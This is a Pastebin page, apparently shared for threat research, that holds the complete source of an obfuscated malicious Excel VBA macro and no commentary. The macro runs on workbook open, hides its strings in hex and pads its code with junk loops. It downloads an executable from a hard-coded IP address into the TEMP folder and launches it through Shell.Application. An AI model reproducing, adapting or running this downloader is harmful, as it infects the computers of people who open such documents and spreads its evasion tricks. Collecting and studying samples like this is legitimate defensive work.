Advertisement
dynamoo

Malicious Excel macro

Dec 19th, 2014
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "Ёта нига"
  2. Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = False
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10.  
  11. Dim gqCuUkiV As Integer
  12.  
  13. Dim lsuCrnld As Integer
  14. lsuCrnld = 2
  15. Do While lsuCrnld < 83
  16. DoEvents: lsuCrnld = lsuCrnld + 1
  17. Loop
  18.  
  19. gqCuUkiV = 3
  20. Do While gqCuUkiV < 45
  21.  
  22. Dim cDpQXxyx As Integer
  23. cDpQXxyx = 2
  24. Do While cDpQXxyx < 98
  25. DoEvents: cDpQXxyx = cDpQXxyx + 1
  26. Loop
  27.  
  28. DoEvents: gqCuUkiV = gqCuUkiV + 1
  29.  
  30. Dim MtpDGLPL As Integer
  31. MtpDGLPL = 9
  32. Do While MtpDGLPL < 94
  33. DoEvents: MtpDGLPL = MtpDGLPL + 1
  34. Loop
  35.  
  36. Loop
  37.  
  38.  
  39. Dim zfXFCQdV As Integer
  40. zfXFCQdV = 1
  41. Do While zfXFCQdV < 16
  42. DoEvents: zfXFCQdV = zfXFCQdV + 1
  43. Loop
  44.  
  45. CPBNVGANNHK
  46. End Sub
  47. Sub AutoOpen()
  48.  
  49. Dim JWKAuHVJ As Integer
  50.  
  51. Dim TLpPBqNy As Integer
  52. TLpPBqNy = 6
  53. Do While TLpPBqNy < 34
  54. DoEvents: TLpPBqNy = TLpPBqNy + 1
  55. Loop
  56.  
  57. JWKAuHVJ = 6
  58. Do While JWKAuHVJ < 39
  59.  
  60. Dim uTWKOOKK As Integer
  61. uTWKOOKK = 2
  62. Do While uTWKOOKK < 81
  63. DoEvents: uTWKOOKK = uTWKOOKK + 1
  64. Loop
  65.  
  66. DoEvents: JWKAuHVJ = JWKAuHVJ + 1
  67.  
  68. Dim OlxSTuQx As Integer
  69. OlxSTuQx = 4
  70. Do While OlxSTuQx < 77
  71. DoEvents: OlxSTuQx = OlxSTuQx + 1
  72. Loop
  73.  
  74. Loop
  75.  
  76.  
  77. Dim cPbAlAOd As Integer
  78. cPbAlAOd = 3
  79. Do While cPbAlAOd < 59
  80. DoEvents: cPbAlAOd = cPbAlAOd + 1
  81. Loop
  82.  
  83.     Auto_Open
  84. End Sub
  85. Sub Workbook_Open()
  86.  
  87. Dim nKyxquln As Integer
  88.  
  89. Dim JAglypFR As Integer
  90. JAglypFR = 6
  91. Do While JAglypFR < 36
  92. DoEvents: JAglypFR = JAglypFR + 1
  93. Loop
  94.  
  95. nKyxquln = 3
  96. Do While nKyxquln < 37
  97.  
  98. Dim tKJqdCoR As Integer
  99. tKJqdCoR = 8
  100. Do While tKJqdCoR < 59
  101. DoEvents: tKJqdCoR = tKJqdCoR + 1
  102. Loop
  103.  
  104. DoEvents: nKyxquln = nKyxquln + 1
  105.  
  106. Dim xJLzWRll As Integer
  107. xJLzWRll = 2
  108. Do While xJLzWRll < 37
  109. DoEvents: xJLzWRll = xJLzWRll + 1
  110. Loop
  111.  
  112. Loop
  113.  
  114.  
  115. Dim qoMWwOqE As Integer
  116. qoMWwOqE = 9
  117. Do While qoMWwOqE < 11
  118. DoEvents: qoMWwOqE = qoMWwOqE + 1
  119. Loop
  120.  
  121.     Auto_Open
  122. End Sub
  123.  
  124. Sub CPBNVGANNHK()
  125.  
  126. Dim uyMlFAVw As Integer
  127.  
  128. Dim quryTDim As Integer
  129. quryTDim = 9
  130. Do While quryTDim < 34
  131. DoEvents: quryTDim = quryTDim + 1
  132. Loop
  133.  
  134. uyMlFAVw = 9
  135. Do While uyMlFAVw < 24
  136.  
  137. Dim secYiDtO As Integer
  138. secYiDtO = 3
  139. Do While secYiDtO < 34
  140. DoEvents: secYiDtO = secYiDtO + 1
  141. Loop
  142.  
  143. DoEvents: uyMlFAVw = uyMlFAVw + 1
  144.  
  145. Dim EzbcHwhc As Integer
  146. EzbcHwhc = 3
  147. Do While EzbcHwhc < 12
  148. DoEvents: EzbcHwhc = EzbcHwhc + 1
  149. Loop
  150.  
  151. Loop
  152.  
  153.  
  154. Dim nkoQrbcJ As Integer
  155. nkoQrbcJ = 3
  156. Do While nkoQrbcJ < 94
  157. DoEvents: nkoQrbcJ = nkoQrbcJ + 1
  158. Loop
  159.  
  160.     NMVBUIMOQXM HexToString("687474703A2F2F37382E3132392E3135332E32332F73737461742F6C6C6476732E706870"), Environ(HexToString("54454D50")) & HexToString("5C56314D5559585759534658512E657865")
  161. End Sub
  162. Function NMVBUIMOQXM(ByVal UMUFWTFSKCX As String, ByVal RCFFODVWBKD As String) As Boolean
  163.      Dim XBPRTLRBYRM As Object, VVXTBBFVINC As Long, PUTVPTITTWC As Long, QOSQEZUAJDG() As Byte
  164.  
  165.  
  166. Dim adtBpluH As Integer
  167.  
  168. Dim FJVRGkLI As Integer
  169. FJVRGkLI = 5
  170. Do While FJVRGkLI < 82
  171. DoEvents: FJVRGkLI = FJVRGkLI + 1
  172. Loop
  173.  
  174. adtBpluH = 8
  175. Do While adtBpluH < 54
  176.  
  177. Dim RVKzrZoy As Integer
  178. RVKzrZoy = 4
  179. Do While RVKzrZoy < 63
  180. DoEvents: RVKzrZoy = RVKzrZoy + 1
  181. Loop
  182.  
  183. DoEvents: adtBpluH = adtBpluH + 1
  184.  
  185. Dim jnKBgHOA As Integer
  186. jnKBgHOA = 4
  187. Do While jnKBgHOA < 11
  188. DoEvents: jnKBgHOA = jnKBgHOA + 1
  189. Loop
  190.  
  191. Loop
  192.  
  193.  
  194. Dim nmLBkAHm As Integer
  195. nmLBkAHm = 3
  196. Do While nmLBkAHm < 95
  197. DoEvents: nmLBkAHm = nmLBkAHm + 1
  198. Loop
  199.  
  200.     Set XBPRTLRBYRM = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
  201.     XBPRTLRBYRM.Open HexToString("474554"), UMUFWTFSKCX, False
  202.  
  203. Dim hEUHjyAJ As Integer
  204.  
  205. Dim GUFjaguO As Integer
  206. GUFjaguO = 6
  207. Do While GUFjaguO < 37
  208. DoEvents: GUFjaguO = GUFjaguO + 1
  209. Loop
  210.  
  211. hEUHjyAJ = 1
  212. Do While hEUHjyAJ < 76
  213.  
  214. Dim nkiLvSgR As Integer
  215. nkiLvSgR = 3
  216. Do While nkiLvSgR < 94
  217. DoEvents: nkiLvSgR = nkiLvSgR + 1
  218. Loop
  219.  
  220. DoEvents: hEUHjyAJ = hEUHjyAJ + 1
  221.  
  222. Dim cIULVJcJ As Integer
  223. cIULVJcJ = 3
  224. Do While cIULVJcJ < 35
  225. DoEvents: cIULVJcJ = cIULVJcJ + 1
  226. Loop
  227.  
  228. Loop
  229.  
  230.  
  231. Dim olBvoNvu As Integer
  232. olBvoNvu = 9
  233. Do While olBvoNvu < 93
  234. DoEvents: olBvoNvu = olBvoNvu + 1
  235. Loop
  236.  
  237.     XBPRTLRBYRM.Send HexToString("F1")
  238.  
  239.  
  240. Dim KhkVaRlE As Integer
  241.  
  242. Dim yDqRcgqi As Integer
  243. yDqRcgqi = 8
  244. Do While yDqRcgqi < 21
  245. DoEvents: yDqRcgqi = yDqRcgqi + 1
  246. Loop
  247.  
  248. KhkVaRlE = 6
  249. Do While KhkVaRlE < 34
  250.  
  251. Dim jcrogyGf As Integer
  252. jcrogyGf = 1
  253. Do While jcrogyGf < 47
  254. DoEvents: jcrogyGf = jcrogyGf + 1
  255. Loop
  256.  
  257. DoEvents: KhkVaRlE = KhkVaRlE + 1
  258.  
  259. Dim LsTeqEIK As Integer
  260. LsTeqEIK = 6
  261. Do While LsTeqEIK < 33
  262. DoEvents: LsTeqEIK = LsTeqEIK + 1
  263. Loop
  264.  
  265. Loop
  266.  
  267.  
  268. Dim RCCOxDOo As Integer
  269. RCCOxDOo = 4
  270. Do While RCCOxDOo < 11
  271. DoEvents: RCCOxDOo = RCCOxDOo + 1
  272. Loop
  273.  
  274.     QOSQEZUAJDG = XBPRTLRBYRM.responseBody
  275.  
  276.  
  277. Dim lsqnVCSz As Integer
  278.  
  279. Dim CKdRsHfq As Integer
  280. CKdRsHfq = 7
  281. Do While CKdRsHfq < 49
  282. DoEvents: CKdRsHfq = CKdRsHfq + 1
  283. Loop
  284.  
  285. lsqnVCSz = 4
  286. Do While lsqnVCSz < 83
  287.  
  288. Dim miwMKdJG As Integer
  289. miwMKdJG = 4
  290. Do While miwMKdJG < 83
  291. DoEvents: miwMKdJG = miwMKdJG + 1
  292. Loop
  293.  
  294. DoEvents: lsqnVCSz = lsqnVCSz + 1
  295.  
  296. Dim XXCFGQPl As Integer
  297. XXCFGQPl = 7
  298. Do While XXCFGQPl < 78
  299. DoEvents: XXCFGQPl = XXCFGQPl + 1
  300. Loop
  301.  
  302. Loop
  303.  
  304.  
  305. Dim LqYzzHJD As Integer
  306. LqYzzHJD = 6
  307. Do While LqYzzHJD < 95
  308. DoEvents: LqYzzHJD = LqYzzHJD + 1
  309. Loop
  310.  
  311.     PUTVPTITTWC = FreeFile
  312.  
  313.     Open RCFFODVWBKD For Binary Access Write As #PUTVPTITTWC
  314.  
  315. Dim BAGoSklH As Integer
  316.  
  317. Dim InHhSicL As Integer
  318. InHhSicL = 4
  319. Do While InHhSicL < 16
  320. DoEvents: InHhSicL = InHhSicL + 1
  321. Loop
  322.  
  323. BAGoSklH = 7
  324. Do While BAGoSklH < 18
  325.  
  326. Dim WaAvkrns As Integer
  327. WaAvkrns = 7
  328. Do While WaAvkrns < 41
  329. DoEvents: WaAvkrns = WaAvkrns + 1
  330. Loop
  331.  
  332. DoEvents: BAGoSklH = BAGoSklH + 1
  333.  
  334. Dim uDqGmMup As Integer
  335. uDqGmMup = 2
  336. Do While uDqGmMup < 21
  337. DoEvents: uDqGmMup = uDqGmMup + 1
  338. Loop
  339.  
  340. Loop
  341.  
  342.  
  343. Dim zszcMLGj As Integer
  344. zszcMLGj = 1
  345. Do While zszcMLGj < 25
  346. DoEvents: zszcMLGj = zszcMLGj + 1
  347. Loop
  348.  
  349.     Put #PUTVPTITTWC, , QOSQEZUAJDG
  350.  
  351. Dim XLgpsxne As Integer
  352.  
  353. Dim xKSOdPID As Integer
  354. xKSOdPID = 5
  355. Do While xKSOdPID < 89
  356. DoEvents: xKSOdPID = xKSOdPID + 1
  357. Loop
  358.  
  359. XLgpsxne = 9
  360. Do While XLgpsxne < 64
  361.  
  362. Dim GPlrewtF As Integer
  363. GPlrewtF = 8
  364. Do While GPlrewtF < 52
  365. DoEvents: GPlrewtF = GPlrewtF + 1
  366. Loop
  367.  
  368. DoEvents: XLgpsxne = XLgpsxne + 1
  369.  
  370. Dim ErsOGbCK As Integer
  371. ErsOGbCK = 3
  372. Do While ErsOGbCK < 64
  373. DoEvents: ErsOGbCK = ErsOGbCK + 1
  374. Loop
  375.  
  376. Loop
  377.  
  378.  
  379. Dim BZEjWuoG As Integer
  380. BZEjWuoG = 7
  381. Do While BZEjWuoG < 18
  382. DoEvents: BZEjWuoG = BZEjWuoG + 1
  383. Loop
  384.  
  385.     Close #PUTVPTITTWC
  386.  
  387. Dim fKkNLrSJ As Integer
  388.  
  389. Dim alcPOzFV As Integer
  390. alcPOzFV = 7
  391. Do While alcPOzFV < 55
  392. DoEvents: alcPOzFV = alcPOzFV + 1
  393. Loop
  394.  
  395. fKkNLrSJ = 1
  396. Do While fKkNLrSJ < 32
  397.  
  398. Dim ocYaqCEo As Integer
  399. ocYaqCEo = 9
  400. Do While ocYaqCEo < 65
  401. DoEvents: ocYaqCEo = ocYaqCEo + 1
  402. Loop
  403.  
  404. DoEvents: fKkNLrSJ = fKkNLrSJ + 1
  405.  
  406. Dim OmjdTRty As Integer
  407. OmjdTRty = 7
  408. Do While OmjdTRty < 77
  409. DoEvents: OmjdTRty = OmjdTRty + 1
  410. Loop
  411.  
  412. Loop
  413.  
  414.  
  415. Dim JvbEubMj As Integer
  416. JvbEubMj = 8
  417. Do While JvbEubMj < 97
  418. DoEvents: JvbEubMj = JvbEubMj + 1
  419. Loop
  420.  
  421.    
  422.  
  423. Dim qpJaloWr As Integer
  424.  
  425. Dim XLoMivJF As Integer
  426. XLoMivJF = 9
  427. Do While XLoMivJF < 49
  428. DoEvents: XLoMivJF = XLoMivJF + 1
  429. Loop
  430.  
  431. qpJaloWr = 3
  432. Do While qpJaloWr < 97
  433.  
  434. Dim NnGlYlkJ As Integer
  435. NnGlYlkJ = 1
  436. Do While NnGlYlkJ < 71
  437. DoEvents: NnGlYlkJ = NnGlYlkJ + 1
  438. Loop
  439.  
  440. DoEvents: qpJaloWr = qpJaloWr + 1
  441.  
  442. Dim NvBYmlhV As Integer
  443. NvBYmlhV = 7
  444. Do While NvBYmlhV < 17
  445. DoEvents: NvBYmlhV = NvBYmlhV + 1
  446. Loop
  447.  
  448. Loop
  449.  
  450.  
  451. Dim etUayACY As Integer
  452. etUayACY = 8
  453. Do While etUayACY < 24
  454. DoEvents: etUayACY = etUayACY + 1
  455. Loop
  456.  
  457. Set fdfgdfeer4gf = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  458. fdfgdfeer4gf.Open Environ(HexToString("54454D50")) & HexToString("5C56314D5559585759534658512E657865")
  459. End Function
  460. Public Sub XrDSlRPQjmOF31()
  461. Dim JBVUWOcDibEM28 As Integer
  462. For JBVUWOcDibEM28 = 8 To lm
  463.  
  464. Dim DCcAUJgQ As Integer
  465.  
  466. Dim knQJEAMV As Integer
  467. knQJEAMV = 4
  468. Do While knQJEAMV < 48
  469. DoEvents: knQJEAMV = knQJEAMV + 1
  470. Loop
  471.  
  472. DCcAUJgQ = 5
  473. Do While DCcAUJgQ < 21
  474.  
  475. Dim AmSSLAuw As Integer
  476. AmSSLAuw = 3
  477. Do While AmSSLAuw < 33
  478. DoEvents: AmSSLAuw = AmSSLAuw + 1
  479. Loop
  480.  
  481. DoEvents: DCcAUJgQ = DCcAUJgQ + 1
  482.  
  483. Dim PjZvidgu As Integer
  484. PjZvidgu = 7
  485. Do While PjZvidgu < 24
  486. DoEvents: PjZvidgu = PjZvidgu + 1
  487. Loop
  488.  
  489. Loop
  490.  
  491.  
  492. Dim bZzZgOve As Integer
  493. bZzZgOve = 5
  494. Do While bZzZgOve < 21
  495. DoEvents: bZzZgOve = bZzZgOve + 1
  496. Loop
  497.  
  498. DoEvents
  499. Next JBVUWOcDibEM28
  500. Dim BwKLvAzXEOvp65 As String
  501.  
  502. Dim fHnklqYk As Integer
  503.  
  504. Dim CHlfylKZ As Integer
  505. CHlfylKZ = 7
  506. Do While CHlfylKZ < 11
  507. DoEvents: CHlfylKZ = CHlfylKZ + 1
  508. Loop
  509.  
  510. fHnklqYk = 1
  511. Do While fHnklqYk < 17
  512.  
  513. Dim ZfklSPfe As Integer
  514. ZfklSPfe = 6
  515. Do While ZfklSPfe < 65
  516. DoEvents: ZfklSPfe = ZfklSPfe + 1
  517. Loop
  518.  
  519. DoEvents: fHnklqYk = fHnklqYk + 1
  520.  
  521. Dim spIeUeBE As Integer
  522. spIeUeBE = 9
  523. Do While spIeUeBE < 63
  524. DoEvents: spIeUeBE = spIeUeBE + 1
  525. Loop
  526.  
  527. Loop
  528.  
  529.  
  530. Dim HIZmZABh As Integer
  531. HIZmZABh = 6
  532. Do While HIZmZABh < 37
  533. DoEvents: HIZmZABh = HIZmZABh + 1
  534. Loop
  535.  
  536. BwKLvAzXEOvp65 = HexToString("5A6C4A5045435465544455483333")
  537. End Sub
  538.  
  539. Public Sub zWdDgvHwxXru11()
  540. Dim fXNnXdpUUNbf39 As Integer
  541. For fXNnXdpUUNbf39 = 3 To ou
  542.  
  543. Dim rBhoqTvQ As Integer
  544.  
  545. Dim raVHxxYl As Integer
  546. raVHxxYl = 1
  547. Do While raVHxxYl < 85
  548. DoEvents: raVHxxYl = raVHxxYl + 1
  549. Loop
  550.  
  551. rBhoqTvQ = 8
  552. Do While rBhoqTvQ < 23
  553.  
  554. Dim OvCKgeob As Integer
  555. OvCKgeob = 7
  556. Do While OvCKgeob < 49
  557. DoEvents: OvCKgeob = OvCKgeob + 1
  558. Loop
  559.  
  560. DoEvents: rBhoqTvQ = rBhoqTvQ + 1
  561.  
  562. Dim iTGvWTso As Integer
  563. iTGvWTso = 9
  564. Do While iTGvWTso < 39
  565. DoEvents: iTGvWTso = iTGvWTso + 1
  566. Loop
  567.  
  568. Loop
  569.  
  570.  
  571. Dim vITfVqpV As Integer
  572. vITfVqpV = 5
  573. Do While vITfVqpV < 59
  574. DoEvents: vITfVqpV = vITfVqpV + 1
  575. Loop
  576.  
  577. DoEvents
  578. Next fXNnXdpUUNbf39
  579. Dim ScwEIFmNvoXE74 As String
  580.  
  581. Dim fJbwekZQ As Integer
  582.  
  583. Dim GHJvTmol As Integer
  584. GHJvTmol = 5
  585. Do While GHJvTmol < 39
  586. DoEvents: GHJvTmol = GHJvTmol + 1
  587. Loop
  588.  
  589. fJbwekZQ = 1
  590. Do While fJbwekZQ < 79
  591.  
  592. Dim GJFPFlLA As Integer
  593. GJFPFlLA = 8
  594. Do While GJFPFlLA < 39
  595. DoEvents: GJFPFlLA = GJFPFlLA + 1
  596. Loop
  597.  
  598. DoEvents: fJbwekZQ = fJbwekZQ + 1
  599.  
  600. Dim FVuhaZna As Integer
  601. FVuhaZna = 5
  602. Do While FVuhaZna < 68
  603. DoEvents: FVuhaZna = FVuhaZna + 1
  604. Loop
  605.  
  606. Loop
  607.  
  608.  
  609. Dim bEWqYFDc As Integer
  610. bEWqYFDc = 3
  611. Do While bEWqYFDc < 68
  612. DoEvents: bEWqYFDc = bEWqYFDc + 1
  613. Loop
  614.  
  615. ScwEIFmNvoXE74 = HexToString("6C7946576869755268686E693733")
  616. End Sub
  617.  
  618. Public Sub uSSGolCuAcvb57()
  619. Dim wcLzmtvGZRjR83 As Integer
  620. For wcLzmtvGZRjR83 = 1 To BL
  621.  
  622. Dim vAflvlOD As Integer
  623.  
  624. Dim xXlhXoSu As Integer
  625. xXlhXoSu = 5
  626. Do While xXlhXoSu < 52
  627. DoEvents: xXlhXoSu = xXlhXoSu + 1
  628. Loop
  629.  
  630. vAflvlOD = 3
  631. Do While vAflvlOD < 96
  632.  
  633. Dim VDUidRkS As Integer
  634. VDUidRkS = 9
  635. Do While VDUidRkS < 11
  636. DoEvents: VDUidRkS = VDUidRkS + 1
  637. Loop
  638.  
  639. DoEvents: vAflvlOD = vAflvlOD + 1
  640.  
  641. Dim objchmCP As Integer
  642. objchmCP = 9
  643. Do While objchmCP < 66
  644. DoEvents: objchmCP = objchmCP + 1
  645. Loop
  646.  
  647. Loop
  648.  
  649.  
  650. Dim wtTkAfFC As Integer
  651. wtTkAfFC = 4
  652. Do While wtTkAfFC < 82
  653. DoEvents: wtTkAfFC = wtTkAfFC + 1
  654. Loop
  655.  
  656. DoEvents
  657. Next wcLzmtvGZRjR83
  658. Dim qrJXfhhkFSgW82 As String
  659.  
  660. Dim FHBxltzW As Integer
  661.  
  662. Dim LmUkilRf As Integer
  663. LmUkilRf = 6
  664. Do While LmUkilRf < 97
  665. DoEvents: LmUkilRf = LmUkilRf + 1
  666. Loop
  667.  
  668. FHBxltzW = 5
  669. Do While FHBxltzW < 67
  670.  
  671. Dim msXpvFqL As Integer
  672. msXpvFqL = 2
  673. Do While msXpvFqL < 55
  674. DoEvents: msXpvFqL = msXpvFqL + 1
  675. Loop
  676.  
  677. DoEvents: FHBxltzW = FHBxltzW + 1
  678.  
  679. Dim yVyvislU As Integer
  680. yVyvislU = 8
  681. Do While yVyvislU < 51
  682. DoEvents: yVyvislU = yVyvislU + 1
  683. Loop
  684.  
  685. Loop
  686.  
  687.  
  688. Dim llsaMXAn As Integer
  689. llsaMXAn = 2
  690. Do While llsaMXAn < 85
  691. DoEvents: llsaMXAn = llsaMXAn + 1
  692. Loop
  693.  
  694. qrJXfhhkFSgW82 = HexToString("694A5179656C55794E4B6D6E3838")
  695. End Sub
  696.  
  697. Public Function HexToString(ByVal KzTJAOZHHuhIf As String) As String
  698. Dim FnEquTIF As String
  699. Dim ROmHgmiuxL As String
  700. Dim jsCxaq As Long
  701. For jsCxaq = 1 To Len(KzTJAOZHHuhIf) Step 2
  702.  
  703. Dim PjAQXjGx As Integer
  704.  
  705. Dim amsMYQso As Integer
  706. amsMYQso = 8
  707. Do While amsMYQso < 17
  708. DoEvents: amsMYQso = amsMYQso + 1
  709. Loop
  710.  
  711. PjAQXjGx = 7
  712. Do While PjAQXjGx < 48
  713.  
  714. Dim JAykMWAY As Integer
  715. JAykMWAY = 6
  716. Do While JAykMWAY < 98
  717. DoEvents: JAykMWAY = JAykMWAY + 1
  718. Loop
  719.  
  720. DoEvents: PjAQXjGx = PjAQXjGx + 1
  721.  
  722. Dim yMvWdUCb As Integer
  723. yMvWdUCb = 2
  724. Do While yMvWdUCb < 84
  725. DoEvents: yMvWdUCb = yMvWdUCb + 1
  726. Loop
  727.  
  728. Loop
  729.  
  730.  
  731. Dim pxAOtEPO As Integer
  732. pxAOtEPO = 9
  733. Do While pxAOtEPO < 65
  734. DoEvents: pxAOtEPO = pxAOtEPO + 1
  735. Loop
  736.  
  737. FnEquTIF = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(KzTJAOZHHuhIf, jsCxaq, 2)))
  738.  
  739. Dim dteTLFIz As Integer
  740.  
  741. Dim NARmiFCg As Integer
  742. NARmiFCg = 1
  743. Do While NARmiFCg < 18
  744. DoEvents: NARmiFCg = NARmiFCg + 1
  745. Loop
  746.  
  747. dteTLFIz = 1
  748. Do While dteTLFIz < 34
  749.  
  750. Dim GKUpWoWt As Integer
  751. GKUpWoWt = 8
  752. Do While GKUpWoWt < 82
  753. DoEvents: GKUpWoWt = GKUpWoWt + 1
  754. Loop
  755.  
  756. DoEvents: dteTLFIz = dteTLFIz + 1
  757.  
  758. Dim jYorJYFO As Integer
  759. jYorJYFO = 1
  760. Do While jYorJYFO < 77
  761. DoEvents: jYorJYFO = jYorJYFO + 1
  762. Loop
  763.  
  764. Loop
  765.  
  766.  
  767. Dim TCQWVloO As Integer
  768. TCQWVloO = 6
  769. Do While TCQWVloO < 11
  770. DoEvents: TCQWVloO = TCQWVloO + 1
  771. Loop
  772.  
  773. ROmHgmiuxL = ROmHgmiuxL & FnEquTIF
  774. Next jsCxaq
  775.  
  776. Dim GJDDEdnF As Integer
  777.  
  778. Dim oRHEsKCP As Integer
  779. oRHEsKCP = 2
  780. Do While oRHEsKCP < 81
  781. DoEvents: oRHEsKCP = oRHEsKCP + 1
  782. Loop
  783.  
  784. GJDDEdnF = 8
  785. Do While GJDDEdnF < 82
  786.  
  787. Dim CXJcSCFX As Integer
  788. CXJcSCFX = 9
  789. Do While CXJcSCFX < 64
  790. DoEvents: CXJcSCFX = CXJcSCFX + 1
  791. Loop
  792.  
  793. DoEvents: GJDDEdnF = GJDDEdnF + 1
  794.  
  795. Dim qgpatOpG As Integer
  796. qgpatOpG = 9
  797. Do While qgpatOpG < 36
  798. DoEvents: qgpatOpG = qgpatOpG + 1
  799. Loop
  800.  
  801. Loop
  802.  
  803.  
  804. Dim sqEAUOur As Integer
  805. sqEAUOur = 3
  806. Do While sqEAUOur < 35
  807. DoEvents: sqEAUOur = sqEAUOur + 1
  808. Loop
  809.  
  810. HexToString = ROmHgmiuxL
  811. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement